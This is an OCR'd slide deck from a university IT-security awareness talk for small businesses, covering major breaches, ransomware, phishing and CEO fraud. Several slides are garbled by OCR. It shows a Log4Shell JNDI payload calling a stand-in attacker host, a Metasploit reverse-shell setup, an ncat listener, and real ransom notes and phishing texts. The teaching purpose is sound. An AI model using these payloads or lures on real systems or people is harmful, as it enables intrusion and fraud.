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» Klaus Gebeshuber

» Married, 2 Children (21, 24)
» | like
» Family, Mountain Biking, Skiing
tours, Fire Brigade, IT-Security
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About me

» Study of Electronic Engineering / Computer Science
» Industrial Software Development / Warehouse Logistics

» Lectures @ FH JOANNEUM
» Network Technologies
»  IT-Security
» Ethical Hacking
»  Network Security

» Research Activities
» Industrial Penetration Testing Hacking & Security
»  Wireless Security
» 0day hunting

» Industrial Certifications
» OSCP, OSCE, CISSP, OSWP, CCNA, eCPPT, CSM, eMAPT
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DIH SUD - Digital Innovation Hub Siid

Was ist der DIH SUD?

Der Digital Innovation Hub Sid ist ein nicht-wirtschaftlich titiges Kompetenznetzwerk, das als

Koordinations- und Anlaufstelle fur Selbststandige und Unternehmen zum Thema Digitalisierung
im Raum Sid-Osterreich dient.

Unser Ziel ist es Digitalisierung in KMU zu erméglichen, indem wir:

* Bewusstsein flr digitale Herausforderungen und Chancen schaffen

+ bestehendes Angebot einfach kommunizieren und zuganglich machen
+ Anwender und Anbieter zusammenbringen

¢ spannende Projekte initileren . .
» Wissenstransfer zwischen F&E und Wirtschaft férdern. https.//www.dlh-sued.ot/

}FFG [Das Land | ANp 1= KARNTEN

Steiermark
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DIH SUD - Digital Innovation Hub Siid

Information
Lernen Sie die Bedeutung und

Maglichkeiten der Digitalisierung in ihren
Anwendungsfeldern kennenl

Produktions- und Fertigungstechnologien
Sicherheit

Data Science

Digitale Geschaftsmodelle und Prozesse
Logistik

Humanressourcen & Nachwuchs

Qualifikation

Gewinnen Sie ein konkretes Bild Gber
Ihre eigenen Innovationspotentialel

[ Weiterlesen J

Digitale Innovation

Entwickeln Sie Ihre eigenen
Pilotprojekte, Prototypen oder
Geschaftsmodellel

[ Weiterlesen J

https://www.dih-sued.at/
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» Angebot der FH JOANNEUM/IIT

» Security Infoveranstaltungen
» IT-SEC Talks fur KMU

» Penetration Testing Trainings
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Why IT - Security?

» Global networking of systems

» High degree of automation

» Data is needed, generated and
exchanged everywhere

» That has to happen on safe and
secure way

» Your company know-how must be
protected

https://pixabay.com/
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Motivation of hackers, target
selection

Attack methods & current threats
Information Gathering

Security Testing

Real World attacks
Countermeasures
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Motivation, targets
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12 | April 19, 2023 |  Title of presentation




FH | JOANNEUM

Large Scale Attacks




FireEye / Solar Winds

FH IJOANNEUM

University of Applied Sciences

IT & Mobile Security

Attack Timeline — Overview

11/4/19
Test code 12/17/20
injection ends 6/4/20 US-CERT alert issued
TA removes malware
from build VMs 12/15/20
SWI releases software fix
9/12/19 3/26/20
TAinjects test code Hotfix 5 DLL 12/14/20
and begins trial run available to SWi files 8-K and
customers notifies shareholders
and customers
9/4/19 " 2/20/20 12/12/20
Threat Actor SUNBURST SolarWinds
(TA) accessed compiled and notified
SolarWinds deployed of SUNBURST

™

All events, dates, and times approximate and subject to change; pending completed investigation.
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Investigation
ongoing
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18.000 Customer
Cisco

Microsoft

Intel

Nvidiaq,

VMWare

AT&T,
Malwarebytes
Crowdstrike,
FireEye,...




HAFNIUM - Microsoft Exchange

March 2, 2021

| HAFNIUM targeting Exchange Servers with 0-day exploits

Microsoft Threat Intelligence Center (MSTIC)
Microsoft 365 Defender Threat Intelligence Team
Microsoft 365 Security

Who is HAFNIUM?

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including
infectious disease researchers, law firms, higher education institutions, defense contractors, policy think
tanks, and NGOs.

HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and
has used legitimate open-source framewaorks, like Covenant, for command and control. Once they've

gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.

In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim
Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this
reconnaissance activity helps the adversary identify more details about their targets’ environments.

HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.
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w Bundesamt
fir Sicherheit in der
Informationstechnik

Microsoft Exchange Schwachstellen

CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065

Detektion und Reaktion

Version 2.4, Stand 19.03.2021

15

https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange _Schwachstelle_Detektion_Reaktion.pdf?__blob=publicationFile&v=6
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HAFNIUM - Microsoft Exchange

Jan. 5: DEVCORE alerts Microsoft of its findings.

Jan. 6: Volexity spots attacks that use unknown vulnerabilities in Exchange.

Jan. 8: DEVCORE reports Microsoft had reproduced the problems and verified their findings.

Jan. 25: DEVCORE snags proxylogon.com, a domain now used to explain its vulnerability discovery
process.

Jan. 27: Dubex alerts Microsoft about attacks on a new Exchange flaw.

Jan. 29: Trend Micro publishes a blog post about “China Chopper” web shells being dropped via
Exchange flaws (but attributes cause as Exchange bug Microsoft patched in 2020)

Feb. 2: Volexity warns Microsoft about active attacks on previously unknown Exchange
vulnerabilities.

Feb. 8: Microsoft tells Dubex it has “escalated” its report internally.

Feb. 18: Microsoft confirms with DEVCORE a target date of Mar. 9 (tomorrow) for publishing
security updates for the Exchange flaws. That is the second Tuesday of the month — a.k.a. “Patch
Tuesday,” when Microsoft releases monthly security updates (and yes that means check back here
tomorrow for the always riveting Patch Tuesday roundup).

Feb. 26-27: Targeted exploitation gradually turns into a global mass-scan; attackers start rapidly
backdooring vulnerable servers.

Mar. 2: A week earlier than previously planned, Microsoft releases updates to plug 4 zero-day flaws
in Exchange.

= Mar. 3: Tens of thousands of Exchange servers compromised worldwide, with thousands more
servers getting freshly hacked each hour.

Mar. 4: White House National Security Advisor Jake Sullivan tweets about importance of patching

Exchange flaws, and how to detect if systems are already compromised.

= Mar. 5, 1:26 p.m. ET: In live briefing, White House press secretary Jen Psaki expresses concern
over the size of the attack.

= Mar. 5, 4:07 p.m. ET: KrebsOnSecurity breaks the news that at least 30,000 organizations in the U.S.
— and hundreds of thousands worldwide — now have backdoors installed.

= Mar. 5, 6:56 p.m. ET: Wired.com confirms the reported number of victims.

= Mar. 5, 8:04 p.m. ET: Former CISA head Chris Krebs tweets the real victim numbers “dwarf” what's

been reported publicly.

Mar. 6: CISA says it is aware of “widespread domestic and international exploitation of Microsoft

Exchange Server flaws.”

= Mar. 7: Security experts continue effort to notify victims, coordinate remediation, and remain vigilant
for “Stage 2" of this attack (further exploitation of already-compromised servers).

= Mar. 9: Microsoft says 100,000 of 400,000 Exchange servers globally remain unpatched.

= Mar. 9: Microsoft “Patch Tuesday,” (the original publish date for the Exchange updates); Redmond

patches 82 security holes in Windows and other software, including a zero-day vulnerability in its

web browser software.

Mar. 10: Working exploit for Exchange flaw published on Github and then removed by Microsoft,
which owns the platform.
= Mar. 10: Security firm ESET reports at least 10 “advanced persistent threat” (APT) cybercrime and

espionage groups have been exploiting the newly-exposed Exchange flaws for their own purposes.

16

https://krebsonsecurity.com/2021/03/a-basic-timeline-of-the-exchange-mass-hack/
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Kaseya - Supply Chain Ransomware

Do
=
- Networks
[ e |
Domnai

https://www.kaseya.com/products/vsa/
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2021

Remote Monitoring &
Management Software

Zero-Day Vulnerability in
Vulnerability Disclosure Process
used

Revil Ransomware
> 1 Million systems infected
Overall 70 Mill S ransom
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Log4J - Log4Shell

(== 0O]
HTTP Request Sent == 0O Log4J logs the HTML request: —
Normal L°94J Scenario GET lindex.html| == 0o [client] - findex.html - Mozilla/5.0 - . —
User-Agent: Mozilla/5.0

HTTP Server
User

— i
Attacker inserts the JNDI == 00 Thf s;’;% is fassed to
. . lookup into the header. == 00 AgRIALIogaINg.
Exfiltration Attack KNP = —"50 =
£ GET /JHTTP/1.1 el ${jndi:ldap://hacker.com/malicious}
Scenario Host: example.com $
User-Agent: ${jndi:ldap://hacker.com/malicious} Vulnerable
Attacker Vulnerable Server Log4)
A Implementation
Log4J
: g processes the

Idap://hacker.com/malicious string and

queries the

malicious

LDAP server.
LDAP Server responds with directory +
information containing the malicious Java - .
Class. Java deserializes or downloads the == 00 httpS://WWW.prple.COfn/StClth/1 dca18
class and executes it. -
— % fdbead9a7930cfd47e70448ca7/b8471
$ /log4j-vulnerability-exploitation-

U LA SRk illustration-cve-2021-44228-.png
|
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Who are the enemies?

» Script Kiddies

» A lot of tools available

» Hacking just for fun

» Can cause great damage
» Are not aware of any

r consequences

4

» ID#: 31337
' name: Scriptkiddie

*-n-__.-'i""" Federal Busesu of Investinstion

http://catholictechtalk.com/2013/04/08/script-kiddies-and-the-complacency-of-open-source/
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Employees

Hacking just for fun

Search for interesting internal
information

Usually only a few protective
mechanisms

Stay unrecognized for a long time
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Who are the enemies?

» Former Employees

» Angry people
» Sometimes passwords are still

valid...
» Detailed knowledge of internal

processes

https://pixabay.com/

22 | April 19, 2023 |  Title of presentation



Who are the enemies?
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http://www.frontpagemag.com/2013/arnold-ahlert/china-weaponizes-cyberspace/
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» Military, Intelligence,
Governments

» Espionage
» Cyber War
» Enormous budget

4



Who are the enemies?
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https://pixabay.com/
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Espionage
Damage
Denial of Service



Who are the enemies?
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http://www.khabar.com/magazine/moneywise/what_i_would_do_if_i_win_the_lottery-a_financial_planners_perspective.aspx

25
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» Organized crime

» Data theft
» Ransom

» Spam

» DOS

» Botnets
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Attacks often remain unrecognized for long time
» Attack detection

» Easy if you see it immediately
» Hard to “see” on IT-Systems
» 150 days on average!

26 | April 19,2023 |  Title of presentation
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Ransomware
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Toll Group - Ransomware
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28

Toll Group
@Toll Group

1/2 As a precautionary measure, Toll has made the
decision to shut down a number of systems in response
to a cyber security incident. Several Toll customer-
facing applications are impacted as a result. Our

immediate priority is to resume services to customers
as soon as possible.

10:36 vorm. - 3. Feb. 2020 - Twitter for iPhone

April 19,2023 | https://twitter.com/Toll_Group/status/1224265326096863232

40.000 Employees
50 Countries

02/2020 MailTo

05/2020 Netfilim
220GB data stolen
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Garmin - Ransomware

Monday, 27 July 2020, 12:30 pm CDT

Garmin issues statement on recent outage
f ¥ = %

Payed?

Affected systems are being restored and normal operation is expected soon

OLATHE, Kan.—(BUSINESS WIRE)-

Garmin® Ltd. (NASDAQ: GRMN), today announced it was the victim of a cyber attack that encrypted some of
our systems on July 23, 2020. As a result, many of our online services were interrupted including website
functions, customer support, customer facing applications, and company communications. We immediately
began to assess the nature of the attack and started remediation. We have no indication that any customer
data, including payment information from Garmin Pay™, was accessed, lost or stolen. Additionally, the
functionality of Garmin products was not affected, other than the ability to access online services.

29 | April 19,2023 | https://www.garmin.com/en-US/newsroom/press-release/uncategorized/2020-garmin-issues-statement-on-recent-outage/
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Colonial Pipeline US - Ransomware

» DarkSide Ransomware (RU)

» Initial Attack - Reused VPN
Password

» Data Exfiltration & Encryption
» Ransom:

- 75 Bitcoins paid - 4,4Mio$S
- 63,7 Bitcoins recovered - 2,4Mio$

https://en.wikipedia.org/wiki/Colonial_Pipeline_cyber_attack

30 |
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" Wana Decryptor 28

Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are ancrypted
Many af vour documents, phobos, videos, databases and other files are no longer

poressihle because they have been encrypled. Mayvbe you are busy looking for a way to
recover your files, bat do not waste yoor Hme. Mobody can recover your files withoot
our decrvpltion service

Payment will be ralsed on

Can | Recover My Files?
Sure. We guarantoe that you can recover all vour files safely and saszily. But yvou have

SME201T 18:55:13

But If you want to decrypt all your Mes, you need to pay.
You only have 3 days to submit the payment After that the price will be doubled
Alze, if you don't pay in 7 days, you won't be able to recover youor flles forever
L ' i » T 1 = ' ¥ v i -
Your files will be lost on We will have fros events for users who are o poor that they couldn't pay in 6 months.
Payment is accepted in Bitcoin only, For more information, elick <Abowt bitcoin>
Please check the current price of Bitcoin and bhuy some bitcoins. For more information
click <How to by bitcoinss
And send the correct amount to the address specified in this window,

Tima Lk

send 5300 worth of bricoin o this address:

13AMAVW2dhxYgXeQepoHkHSQuySNgaEbad
Contact Us Check Payment

bitcoin
ACCEFTED HERE

|  Title of presentation

Time Leh aet so ensugh tme. /
: - i You can deerypt some of your flles for free. Try now by clicking <Deerypts
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Payment
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OO — Kill Switch
(KillSwilcl:l.}_,O"" http://www.iugerfsodp9ifjapos

WanaCry/WCry Execution Flow ENDGAME.

g dfjhgosurijfaewrwergwea.com
Settle down B i 1. 56t Up SMB connection
2. Probe for MS17-010
(SMB Vuin Exploited) i 3. Prepare Payload in Base64
Load from we- "2 4. Probe for doublepulsar
Resource ate a new service 8. Bucels Paylead
. I tasksche.exe Me Heap .
Password o e B S p req d I n g
Protected ZIP No
¥ :
XAl ! Run Export

1. Prep Public Key
2. Decrypt AES Key
3. Decrypt DLL

Preps Encryplion Key stored in %08X.eky

Ocreated Mutex Encrypting

Global \\Mekl nf ones Cac el oun torMulex
Thread - Start Encrypting Files / Stuff

Thread - Writing New Encrypled Files
" WNCRYT"

Payment .. .....550%

\ 1. Prep the Tor Info

2. Load Bitcoin Lwnry

c.wnry
(config file) Wallets {Agallr*

Threaﬂ. | Run taskdl.exe

https://www.endgame.com/blog/wcrywanacry-ransomware-technical-analysis
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e guarantee that you can recover all vauy i
fimad to do Is submit the paysent anill puvrehinem

Pisaun follow the instructions
aond $388 worth of Bitcoln to TallnWing ANy

1M 2 153X TuRZR1t 78pG0d zaN it W B/

E REUTERSS Mikhail Golub

https://de.sputniknews.com/panorama/20170628316360307-warum-das-neue-virus-gefaehrlicher-als-seine-vorgaenger-ist/
https://www.heise.de/security/meldung/Petya-Attacke-oder-NotPetya-Erstes-Angriffsziel-offenbar-in-der-Ukraine-3757496.html
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The MAERSK Cyber Incident - When the Screens went Black!
or Learning from and Applying the Lessons of a
Major Cyber Incident

Andy Powell, CISO, Maersk, Nov 2019

bla‘a?:k hat

EURORPE 2013

—.. DeECEMBER 2-5, 2019
= ITE X C EL LONDON, K.

i

https://www.youtube.com/watch?v=wQ~8HIikEe%0

34 | |
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Norsk Hydro ransomware incident losses
reach $40 million after one week

Norsk Hydro: Hyvdro subject to cyber-attack

Hydro became victim of an extensive cyber-attack in the early hours of Tuesday (CET), impacting operations in
several of the company’'s business areas.

[T-systems in most business areas are impacted and Hydro 1s switching to manual operations as far as possible.
Hyvdro 1s working to contain and neutralize the attack, but does not vet know the full extent of the situation.

Investor contact

Stian Hasle

+47 97736022

Stian Hasle @hydro.com

Press contact

Halvor Molland

+47 92979797

Halvor Molland @hydro.com

Follow us on Facebook:

facebook com norskhvdroasa




B README _LOCKED - Notepad
Fie Edt Formot View Help

icreetings!

IThere was a significant flaw in the security sirsrun of your cmparr{,
vYou should be thankful that the Fflaw was exploited by serfous people and not some rookfies.
3 {They would have damaged all of your data by mistake or for fun.

vour files are encrypted with the strongest military algorithms RSA4096 and AES-256.
without our special decoder 1t 1s impossible to restore the data.

.Attenﬁns to restore your data with third party software as photorec, rannohDecryptor etc.
will lead to irreversible destruction of your data.

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

ek 11t can be from different computers on your network to be sure that our decoder decrypts ever:
sample Files we unlock for free (Files should not be related to any kind of baﬂkup!.??t

we exclusively have decryption software for your situvation

D NOT RESET OR SHUTDOWN - f1les may be damaged.

{D0 NOT REMAME the encrypted files.

DO NOT MOVE the encrygted files.

This may lead to the Impossibility of recovery of the certain files.

The payment has to be made in Bitcoins.

IThe Tinal price depends on how Tast you contact ws.

AS soon 45 we recelve the payment you will get the decryption tool and
fnstructions on how to improve your systems security

ITo get information on the price of the decoder contact us at:

{oharmarParrack®protonmail. com
wyattpertigr G2249%50mail. com

o
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The Magnor extrusion

plant in Norway was

one of 160 Hydro sites =il
hit by the cyberattack [l il

. ‘QT:. ‘fgi |
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O GandCrab Decryptor X T
b~ € O gdchghvjyqy7jck.onion, ¢ Q Search a s
- GandCrab -
Welcome!
WE ARE REGRET, BUT ALL YOUR FILES WAS ENCRYPTED! SBUVGANDCRABDECRYPTOR | @ SUPPORT:SERVICE 247
ASFAR AS WE KNOWW:
@ What do your need?
Country B United States - You need GandCrab Decryptor.
o Widid O ofeaS Rl This software will decrypt all your encrypted files and will delete GandCrab from your PC.
il Sl ) For purchase you need crypto-currancy =3 DASH (1 DASH =775.638 §).
PC User How to buy this currency you can read it here.
PC Name © How much money your need to pay? Below we are specified amount and our wallet for
PC Group \WORKGROUP payment
PC Lang. en-US -Price-
1.5 DASH (1200 USD)
HDD
Date of encrypt
-DASH address for payment-
Amount of your files 1417 z
Generating an address.
Volume of your files 1030241268

Please check page later.

© But don't worry, you can return all your files! We can heip you!
Below you can choose one of your encrypted file from your PC and decrypt him, it is test decryptor

faryou. -To make a payment, you have this time-
But we can decrypt only & 1 file for free
e s 04 02 33 42
o | | Browse... | No file selected. :
Max. file size: 2 Mb. Allowed files: txt, jpofipeg, jpeg, bmp, png, gif. DAYS HOURS MINUTES SECONDS
ATTENTION! _After this time the amount will double and will be-
Don't try use third-party decryptor tools! 3 DASH (2400 USD)

Because this will destroy your files!

This process is fully automated, all payments is instant.
After your payment, please refresh this page and you can download here GandCrab Decryptor!
If you have any questions, please, dont hesitate, and write in our £ Support service 24/7,

GandCrab {v.1.0)
All right reserved @ 2018

|  Cyber Security

https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/
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Gandcrab osted 11 hburs aoe
(NO_E_8_0N
'TIITIY] All the good things come to an end.
IFor the year of working with us, people have earmmed more than $ 2 hillinnl we have becomne a nominal name in the field of the underground in the direction of crypto-fiber.

Earnings with us per week averaged $ 2,500,000 .

We personally earned more than 150 million dollars per year. We successfully cashed this money and legalized it in various spheres of white business both in real life and on the
Internet.

We were glad to work with you. But, as it is written above, all goed things come to an end.

Seller
424 posts We are leaving for a well-deserved retirement . We have proven that by doing evil deeds, retribution does not come, We proved that in a year you can earn money for a
13718 ,J_Dm?ij 3 lifetime. We have proved that it is possible to become number one not in our own words, but in recognition of other people.
Activity
viralagy In this regard, we:
1. Stop the set of adverts;
2. We ask the adverts to suspend the flows;
3. Within 20 days from this date, we ask adverts to monetize thelr bots by any means;
4, Victims - if you buy, now. Then your data no one will recover. Keys will be deleted.
That's all. The topic will be deleted In a month. Thank you all for the work.
d fi i T ) a i y I Il s T ] i i 1 I
10 1 Hre i el
39 | |  Cyber Security

https://twitter.com/Cryptolnsane/status/1134727041826377729/photo/1
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Initial infection

Attacker

INTERNET

FIREWALL

VICTIM

§ ATTACKER
’ E
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Ransomware - Protections

» Keep systems up to date, install security updates
» Regular data backup
» Store backup data offline at a different location
» Be careful

» Emails with attachments

» Emails with embedded links

» Links on web pages
» Downloads from unknown sources

42 | April 19, 2023 |  Title of presentation
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Phishing, Spear Phishing
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PayPal
NETFLIX "

We're sorry to say goodbye We need your help

" . =45 - Your account has been suspended, as an error was detected in your informations.

Hello, The reasen for the error is not certain, but for security reasons, we have suspended
your account temporarily

iTunes let us know that you asked to cancel your

membership. We've cancelled your membership Hi <customer>,

effective Tuesday, March 21st, 2017.
This Is a follow-up regarding your package delivery:

We need you to update your informations for further use of your PayPal account.

You are currently made disabled of :

Please note that in case of a failure to contact your local UPS office within 21 days the parcel will be
RESTART MEMBERSHIP returned to sender. <:\ Adding a payment method Sending payment

Thanks so much for shipping with UPS. // Adding a billing address Accepting payment

Obviously we'd love to have you back. If you
change your mind, simply restart your membership

1o anjoy all the best TV shows & movias without The package contained in the above-mentioned shipment was not accepted at the destination address.
interruption. Please contact your local UPS office and provide the printed delivery sticker, indluded in this email.

» Tracking Number: Dp2uYq5Riho

‘We're here to help if you need it. Visit the Help
Center for more info or contact us

one & = & A |l & || B ook

=Your friends at Netflix

2 ACCOUNTING DEPARTMENT 110 1his 300mSS. For IMModiate AnSWE!S 10 YOUr QUOSIDNS, Vist 0ur

Refund Notification

Cc. TomHeald@strategictax.com = 1 N, First St, San Jose, CA 85131

amazon

Subject: W2's for All Employees

From Tom Smith Signature:  Nane % Due to a sytem error you were double charged for your last order, A refund
process was initiated but could not be completed due fo errors in your billing
Please send our W2 Tax Documents for all employees to Tom Heald at information

Strategic Tax Consultants. | have cc'd him here.

REF CODE:2550CGE

We need these documents for a review ordered by the Board of

April 19,2023 |

Directors.

Please send immediately as we are under a time crunch,|
Thanks,

Tom Smith

CEO
BetterSystems Inc

https://www.edts.com/edts-blog/15-examples-of-phishing-emails-from-2016-2017

Title of presentation

You are required to provide us a valid billing address

Click Here to Update Your Address

After your information has been validated you should get your refund within 3
business days

We hope to see you again soon.
Amazon.com
Email ID:
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seraCe@iIntl pYYyPILCOM <SeMCe.ePANTY Youtlook com> V016
I l Response required N

P PayPal

Response required.

Dedt o = rdbw
We emailed you a itle whie 390 10 ask for your help resolving an issue with your PayPal account
Your account is still temporanily liméied because we haven heard from you

Vie notced some unusual iog in activity with your account. Please check that no cne has logged in to
YOUT 3ccount without your permission

To help us with this and to see what you can and can't do with your account until the issue is resolved,
log in to your account and go to the Resolution Center.

AS advays.  you need help of have any questions, feel free 10 contact us. We're always here to help
Thank you for being a PayPal customer

Sincerely.
PayPal

Flease 00 rof reply 10 P omad Urdorturatedy, e are unatie 1) 1esgond 10 ogures st 10 T a3 ess For mwredhale srawery b0 your Quesians
srgly vt our Melp Conder by ciciung Help™ ot e bofiom of any Pay(sl pae v

45 https://www.phishing.org/phishing-examples



O
Loggen Sie sich bei PayPal ein X +

C @ wwwsectesteu | @ Inkognito

' PayPal

E-Mail-Adresse oder Handynummer

oder

Neu anmelden

Kontakt Datenschutz AGB Weltweit

FH |JOANNEU:M

IT & Mobile Security
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Phishing Mails /_

DHL Transport-Team <apoio@sotelnet.com.br>

Yy )~/ A

Sehr geehrte Kundin, sehr geehrter Kunde,

die Sendung zur Bestellung B0177266531653607726 wurde an das Logistikunternehmen bergeben und wird voraussichtlich am 04.03.2015 zugestellt.

Hier kéinnen Sie weitere Informationen betreffend lhre Sendung einsehen: 60177266531653607726.

Mit freundlichen Griiken,
DHL, Ihr Logistik-Spezialist

47
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Latest on corona-virus - Message (HTML) : F H | JOAN N Eu M
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l l Latest on corona-virus - MBET
o This message was sent with High importance.

g MyHealth-Ebook.zip
I 22KB

-

World Health
Organization

Corona-virus updates

Concemning Corona-virus disease (COVID-19) outbreak, the World Health Organization brings you the Corona-virus E-Book
and Guide.

Inside this E-Book (My-health), you shall find out the complete research/origin of corona-virus and
the recommended guide to follow to protect yourself and others.

Guidance to protect children and business centre;

This guidance provides critical considerations and practical checklists to keep Kids and business centre safe. It also
advises national and local authorities on how to adapt and implement emergency plans for educational facilities.

Critical preparedness, readiness and response actions for COVID-19;

48



SMS Phishing

https://www.post.at/co/c/gefahren-im-internet#1394339386

FH IJOANNEUM

University of Applied Sciences

IT & Mobile Security
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Zusammenfassung Transaktionen

Adresse 1G1gFoadiDxa 7z TvppShInJieStNULSCy 7 Anzahl der Transaktionen 72

[ ] [ ] [ ]
P I l I S I I I I . g M G I I : Hash 160 adh22h0ethd6e0eles 731 6a7co2acdb2fdc3nf Insgesarnt erhalten £.28828949 BTC

Endglltige Bilanz 0.21802351 BTC

et GGG - canneum.at <petra il
gsendet: Mittwoch, 9, Janner 2019 18:15

@ Petra

Betreff: Hohe Gefahr. Konto wurde angegriffen.

Zahlungsanfrage Spenden-Buttan

72151hbE59d7169092d2ee15c406he30b0819cBec06792dh397feha6200121 Bda

15 10F 0adiDxa 7z TvppShJNJIBIINULIcy 7 - 1DZyW WY SUHOEDBAYIXEX TUDVP TACNXUG
Hallo! F7NKHUENYOBLPHNks 3vZhSrMF iymrBi

Wia Sie vielleicht bemerkt haben, habe ich IThnen ein
Dies bedeutet, dass ich vollen Zugriff auf lhr Konto!

079501800 26532d8 3801 beT4d0c04a62c4d4e 31 07 Jc0fa08TfBeak 2022031
Ich habe dich jetzt seit ein paar Monaten beaobacht

Tatsacha ist, dass Sie Gber eine von Ihnen besuchts F7NKHUENYOBLPHrks SvZhAr<MFiyrnrEh iy JNFAVIEACOESv)DhAFLIDS 1 =pGhyAnUrr

1KWUIXGH CTNEFVaRZ T pkZ4 e ZnC poAGEn

YWenn Sie dies verhindern machten, dbertrag
(wenn Sie nicht wissen, wie Sie diestun soller, sunenven sg g wy=c. Ly Liveon
\

Meine Bitcoin-Adresse EE-TC WEI”Et:I laufet: 1¢ ©93e66a143706d7cBfd011hfB5ccEhBaeSesT 4h053e0efadeth55c9a71558a8b

SMfAYEACOE G DhAF LIS 1 HpGhdyinlrr = JCQAHDPDGILEEMdTEBYCBGMGKLYRaUUZS
1ASR0dMitvHICRO38p 2YjULOWIa) 26U 5yf

275d7ebeleehdB240c4dfhl 2ecaff6c 89484501061 223f84e7 1 ca7f208hefbala

1AIR04MItHICROE8p SVULDWI 2 260 34T =h TEKCGHyDhpedbaxiaGevBPMYHI4z09NP
37vzIhShJ4huaMTRvRZDmopLFEwR 1Rz

50

dl
dl
dl

20190117 22:25.37

0.00140733 BTC
5.68904517 BTC

2019-01-18 04:10:05

370678408 BTC
1.98224 BTC

2019-01-18 04:35:05

028405627 BTC
342270374 BTC

E7E409 BTC

2019-01-20 20:01:41

0.82277439 BTC
3.1 BTC
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WhatsApp Phishing

Adidas donne 2500 paire de chaus-
sures gratuites pour célébrer son 69

anniversaire, obtenir vos chaussures
gratuites a @ http://www. s.de/
chaussures

s://www.welivesecurity.com/wp-content/uploads/2018/06/whatsapp-msg.jpg
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Homographic Phishing

» Spoofing with similar looking charackters 11,00,d <:I,...

i https v.apple.com

» www.google.com = www.g00gle.com Wl e IR
» WWW.GOOGLE.COM > WWW.GOOGLE.COM I : ;’:;ﬁ:ztzii;;i;mm,m,elm. :
» www.dhl.com = www.clhl.com ettt e
» Unicode U+0430 (cyrillic ,,a*) = latin ,,a“ Coes s
Lots to love. Less to spend.
.® * https://www.apple.com
Website-Informationen fiir www.apple.com
68 74 74 70 73 3A 2F 2F f7 77 77 2E DO BO D1 8@ https:fjwmu.j{\“f(; & Verbindung sicher >
D1 80 D2 8F DO B5 2E 63 6F 6D 2F 00 00 GO 00 06 f@“ﬁjldl.cum,’ ..... - _ ;;;;gg‘;;“:
00 00 00 06 G0 00 6O 0O 00 00 60 06 06 GO 60 60 ................ -E:er'ijﬂreebcs?‘lg::?::nkeinebesonderenEerechtigungen
68 74 74 70 73 3A 2F 2F 77 77 77 2E 61 70 70 6C https://www.appl erteit. T

65 2E 63 6F 6D 2F 0P 0O 00 0O PO OQ 0O GO O PO e.com/..........
00 00 GO0 60 GO 0O OO 0O G0 GO OO O 0O GO 80 PO ................

Cookies und Website-Daten léschen...

https://www.xn--80akéaa?2e.com/
52 | https://www.xudongz.com/blog/2017/idn-phishing/



WhatsApp Phishing

Billa verlost kostenlose
m Lebensmittel im Wert

von 250 €, um die Nation w...

Billa verlost kostenlose

Lebensmittel im Wert von 250

€, um die Nation wahrend

der Corona-Pandemie zu

unterstiitzen. Beeile dich!

Sammeln Sie hier lhren

KOSTENLOSEN Gutschein:

http://www.billa.at-geschenk.club
11:58

FH |JOANNEUM
IT & Mobile Security

© 4 billa.at-geschenk.cluby#

Subdomain
Domain

Top Level Domain

53
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Whatsapp Phishing

Jeff Bezos hack: Amazon boss's phone
'hacked by Saudi crown prince'

Exclusive: investigation suggests Washington Post owner was
targeted five months before murder of Jamal Khashoggi

Revealed: the Saudi heir and the alleged plot to undermine Jeff
Bezos

Y

Teilen

https://www.theguardian.com/technology/2020/jan/21/amazon-boss-
jeff-bezoss-phone-hacked-by-saudi-crown-prince

54
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ERSTES SPARKASSES

Sehr geehrter Kunde,

wir missen Ihnen mit Bedauern mitteilen, dass nlo zu Ihrem eigen eingeschrankt haben. Diese
Sicherheitsprozedur trat in Kraft, well Sie unsdge Sicherheits-App bisher nicht installiert haben.

Damit wir lhnen weiterhin einen sicheren Zahlungsservice anbieten konnen, ist die Installation unserer Sicherheits-App erforderlich.

Bitte holen Sig dreThstallationger Sicherheits-App unverziglich nagh—Hierberagtstehen keine Kosten fur Sie. Anderenfalls wird nach
einer Frist voi 14 Werktagen ejhe Bearbeitungsgebiuhr in Hohe v&n 49,95 Euro fllig.

Zur Sicherheits-App

Wir danken fur |hr Verstandnis und bitten die Unannehmlichkeiten zu verzeihen.

Mit freundlichen GriBen

55



Was ranit. sind Gie Menschen. - B

netbanking Login

WICHTIGER SICHERHEIT SHINWEIS:
Die Erste Bank und Sparkassen werden zum Anmelden von lhnen NIEMALS TAN oder TAC-SMS
verangen!”

Die glltigen Geschatsbedingungen fir die Nutzung von nelbanking finden Sie hier

Hier mit netbanking-Verfugernummer und dem netbanking-Passwort anmelden

Verfugernummer | | » Helpdesk

Passwort | | () vausiies keypoars B » Sicherheit
» Akuelles

Passwort vergessen?
» netbanking Info-Tour

» TAC-SMS - die sichere
und komfortable
Allernalive zur TAN!

4 Zuruck

FH |JOANNEUM

University of Applied Sciences
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Phishing — Click on a malicious link

Payload Payload opts

Explott: multi/browser/chrome_js windows/xG4/meterpreter/reve tep://116,203.129 598080
create_sideeffect rse_tcp

156 axplodt temulti/browsar/chrone. jacreate.sideaffect) »

Attacker

-l 2 Type here 10 search o H

57 | April 19,2023 |  Title of presentation
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Infected Web sites

EF'rnm.‘.’.kﬂ I
rootikali:~# ne -lnvp 4444

Ncat: Version 7.70 { https://nmap.org/ncat )
Ncat: Listening on :::4444

Ncat: Listening on 0.0.0.0:4444

@ NMozills Firetox Start Page

v €

59 | April19,2023 |
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Social engineering
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CEO Fraud

FH|JOANNEUM
IT & Mobile Security

Request from CEO

Subject: Immediate Wire Transfer

http://blog.tempest.com.br/static/attachments/joao-paulo-campello/increase-in-ceo-fraud-attacks-highlights-risks-to-corporate-envs/1.png

Cyber Security

»
»

»

»

»

»

Deception of employees
Exploitation of the authority
relationship

2016 - FACC 52 Mio Eur

2019 - CEO Voice synthesis!

2020 - 1,8 Billion S damage
» QIft codes

2022 - Deep fake video
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Just asking or posswrds

